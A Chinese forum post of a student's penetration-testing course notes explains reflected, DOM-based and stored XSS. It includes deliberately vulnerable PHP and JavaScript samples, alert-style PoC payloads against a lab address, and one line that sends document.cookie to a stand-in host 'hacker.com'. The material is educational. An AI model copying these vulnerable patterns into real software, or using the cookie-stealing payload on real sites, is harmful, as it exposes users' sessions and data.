发帖
 找回密码
 立即注册
搜索
0 0

分享 WEB渗透系统班-DOM&反射型XSS+存储型XSS&靶场(1-3)

技术分享 1193 0 2025-6-10 22:37:36
WEB渗透测试工程师系统班250303期
第24节课作业
1、什么是xss?
XSS(跨站脚本攻击,Cross-Site Scripting)是一种常见的网络安全漏洞,攻击者通过向网页中注入恶意脚本(通常是JavaScript),当其他用户访问该页面时,脚本会在他们的浏览器中执行,从而窃取数据、劫持会话或实施其他恶意行为。
XSS 的核心原理:
注入恶意代码:攻击者将恶意脚本插入到网页的输入字段、URL参数或数据库等位置。
用户浏览触发:当其他用户加载包含恶意代码的页面时,脚本在其浏览器中自动执行。
窃取信息或攻击:脚本可以窃取用户的Cookie、会话令牌、修改页面内容,甚至重定向到钓鱼网站。

2、xss危害?
XSS(跨站脚本攻击)的危害主要包括以下几个方面:  
      1. 窃取用户敏感信息   
   - 盗取用户的   Cookie、会话令牌  ,冒充用户登录账户(如社交平台、网银、邮箱等)。  
   - 窃取   表单数据  ,如账号密码、信用卡信息、个人隐私等。  
      2. 劫持用户会话(Session Hijacking)   
   - 攻击者利用窃取的会话信息,直接进入用户账户,无需密码即可执行操作(如转账、发消息)。  
      3. 钓鱼攻击(Phishing)   
   - 篡改网页内容,伪造登录框或诱导用户输入敏感信息(如假冒银行网站)。  
   - 插入虚假广告或恶意链接,诱导用户下载病毒或访问诈骗网站。  
      4. 破坏网站功能   
   - 篡改页面内容(如修改新闻、商品价格),误导用户或损害企业信誉。  
   - 制造弹窗、无限重定向,导致用户无法正常使用网站(类似DoS攻击)。  
      5. 传播恶意软件或蠕虫病毒   
   - 在社交平台、论坛等存在存储型XSS的地方,恶意脚本可自动扩散,感染更多用户。  
   - 通过XSS注入恶意下载链接,诱导用户安装木马或勒索软件。  
      6. 键盘记录(Keylogging)   
   - 监听用户的键盘输入,窃取密码、聊天记录等隐私信息。  
      7. 绕过安全限制   
   - 利用XSS绕过浏览器的   同源策略(SOP)  ,访问本应受保护的数据(如企业内部系统)。  
   - 结合其他漏洞(如CSRF)发起更复杂的攻击,如强制用户修改密码或转账。  
      8. 长期潜伏与高级攻击   
   - 存储型XSS可能长期存在于网页中,持续影响访问用户。  
   - 攻击者可利用XSS作为跳板,进一步渗透服务器或内网。  

3、xss有几种类型?
反射型XSS,存储型XSS,DOM型XSS

4、什么是反射性xss?
反射型XSS 是一种常见的Web安全漏洞,攻击者通过构造恶意URL,诱使用户点击后,在目标网页中执行注入的恶意脚本。其核心特点是:
First.恶意脚本来自URL参数(如 ?q=<script>alert(1)</script>)。
Second.服务器未过滤直接返回,浏览器解析并执行脚本。
Third.仅影响点击恶意链接的用户(非持久性攻击)。
攻击原理与流程
①攻击者构造恶意URL:
在参数中嵌入恶意代码(如搜索框、登录页等)。
http://example.com/search?q=<script>alert("XSS")</script>
②诱骗用户点击链接:
通过钓鱼邮件、社交工程等方式传播恶意URL。
③服务器返回未过滤的内容:
服务器将 q= 后的参数直接拼接到HTML响应中:
<div>您搜索的关键词是:<script>alert("XSS")</script></div>
④用户浏览器执行恶意脚本:
脚本在受害者浏览器中运行,可窃取Cookie、劫持会话等
课堂案例:
<?php
// 反射型XSS漏洞示例(vulnerable.php)
$searchTerm = $_GET['search'] ?? '';
?>
<!-- 前端⻚⾯ -->
<!DOCTYPE html>
<html>
<head>
<title>反射型XSS演示</title>
</head>
<body>
<h1>搜索系统</h1>
<form method="GET">
<input type="text" name="search" placeholder="输⼊搜索内容">
<button type="submit">搜索</button>
</form>
<?php if(!empty($searchTerm)): ?>
<!-- 漏洞点:未对⽤户输⼊进⾏过滤处理 -->
<h3>搜索结果:<?php echo $searchTerm; ?></h3>
<?php endif; ?>
</body>
</html>

5、什么是DOM型xss?
DOM型XSS漏洞详解
DOM型XSS(DOM-based Cross-Site Scripting) 是一种完全发生在 浏览器端 的跨站脚本攻击,恶意代码通过操纵页面的 DOM(文档对象模型) 结构来执行,不经过服务器。
DOM型XSS的核心特点
First.攻击在客户端完成:恶意代码的注入和执行仅依赖浏览器解析DOM,不依赖服务器返回的数据。
Second.不涉及HTTP请求/响应:与反射型、存储型XSS不同,DOM型XSS的漏洞代码可能不会出现在服务器日志中,难以检测。
Third.依赖前端JavaScript操作DOM:漏洞通常由不安全的 innerHTML、document.write、location.hash、eval() 等前端代码引起。
攻击原理
DOM型XSS的触发流程:
攻击者构造恶意URL,其中包含恶意脚本(如#<script>alert(1)</script>)。
用户访问该URL,浏览器解析URL并动态修改DOM(例如通过location.hash或innerHTML)。
前端JavaScript未正确过滤输入,导致恶意代码被执行。
课堂案例1:
<meta charset='utf-8'>
<script>
var pos=document.URL.indexOf("name=")+5; //取name=后⾯的值
var username = unescape(document.URL.substring(pos,document.URL.length)); //取name=后⾯的值
var r='<b>'+username+'</b>'
document.write(r);
</script>
课堂案例2:
<div id='404'>404</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
function fun(){
var url=unescape(document.URL);//获取url
var pos=url.indexOf("name=")+5;//取name=后⾯的值
document.getElementById("404").innerHTML="Hi,
<b>"+url.substring(pos,url.length)+'</b>';}
</script>
poc:http://192.168.10.150/2.html?name=<img src=# onerror=alert(1) />
课堂案例3:
</h1>Hello World</h1>
<script>
//取#后⾯的数据
var a =location.hash.substr(1);
eval(a); // eval是⾼危函数。 把字符串当做代码进⾏执⾏
</script>

6、什么是存储型xss?
存储型XSS 是一种危害性极强的跨站脚本攻击,攻击者将恶意代码永久存储在目标服务器(如数据库、评论、用户资料等),当其他用户访问受感染页面时,恶意脚本自动执行,无需诱导点击。
攻击原理与流程
①攻击者提交恶意代码
通过可存储用户输入的功能(如评论、论坛帖子、用户名、留言板)注入恶意脚本。
<script>fetch('https://hacker.com/steal?cookie='+document.cookie)</script>
②服务器存储恶意内容
未过滤的脚本被保存到数据库,成为页面的一部分。
③受害者访问受感染页面
当其他用户浏览该页面(如查看评论)时,恶意脚本自动在其浏览器中执行。
④恶意行为触发
窃取Cookie、劫持会话、伪造页面内容、传播蠕虫等。
课堂案例:
<?php
// 存储型XSS漏洞示例(comment.php)
$commentFile = 'comments.txt';
// 处理表单提交(漏洞点:未过滤存储)
if(isset($_POST['submit'])){
$comment = isset($_POST['comment']) ? $_POST['comment'] : '';
if(!empty($comment)){
// 将⽤户输⼊直接存⼊⽂件
file_put_contents($commentFile, $comment . PHP_EOL, FILE_APPEND);//⽤户传⼊的参数会写
⼊⽂本 comments.txt⾥⾯
}
}
// 读取并显示历史评论(漏洞点:未过滤输出) 参数 1 ? 参数 2 :参数 3 三元表达式
$comments = file_exists($commentFile) ? file($commentFile) : []; //判断 txt 存不存在,如果不
存在,那么就会新建⼀个 txt ⽂件,如果存在,那么就会把⾥⾯的数据放到[xxx,ccc,aaa,bbb,ddd]
?>
<!DOCTYPE html>
<html>
<head>
<title>存储型XSS演示</title>
</head>
<body>
<h1>留⾔板系统</h1>
<!-- 留⾔表单 -->
<form method="POST">
<textarea name="comment" rows="4" cols="50"></textarea><br>
<input type="submit" name="submit" value="提交留⾔">
</form>
<hr>
<!-- 显示历史留⾔ -->
<h2>历史留⾔</h2>
<?php foreach($comments as $line): ?>//[xxx,ccc,aaa,bbb,ddd] xxx ccc aaa bbb ddd
<!-- 直接输出数据库/⽂件中的原始内容 -->
<div class="comment"><?php echo $line; ?></div>
<?php endforeach; ?>
</body>
</html>

一、笔记标题:WEB渗透系统班-DOM&反射型XSS+存储型XSS&靶场(1-3)

二、文章内容:

1. 课程内容概要

        主要知识点1:DOM型XSS
        主要知识点2:反射型XSS
        主要知识点3:存储型XSS

2.重点知识与细节

        概念解析
        概念1:无
        概念2:
        关键步骤
        步骤1:无
        步骤2:
        步骤3:
        相关代码

3.实操练习 和 解析

如作业

4.个人总结
        本节课最大的收获是:学习了HTML中的DOM型,反射型,尤其是存储型XSS漏洞
        仍然存在疑问的地方:无
        需要课后深入学习的内容:深入学习各种靶场环境

──── 0人觉得很赞 ────

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
免责声明:
1、本论坛中所有用户发布的内容仅代表作者个人观点,与本网站立场无关,本站不对其真实性、完整性或观点承担任何责任。
2、本论坛所提供的全部信息与内容,不保证其准确性、完整性或时效性。因阅读或使用本站内容而产生的任何误导、损失或风险,本站概不承担任何连带或法律责任。
3、当国家司法、行政机关依照法定程序要求本论坛披露用户信息时,本站予以配合并因此免责。
4、因网络线路故障、技术问题、不可抗力或本站无法控制的其他原因导致的服务中断或暂停,本站不承担由此造成的任何直接或间接损失。
5、对于任何通过技术手段破坏、攻击本论坛系统或扰乱正常秩序的行为,本站有权采取包括但不限于限制账号、封禁账号、追究法律责任等措施。
您需要登录后才可以回帖 立即登录
高级模式
返回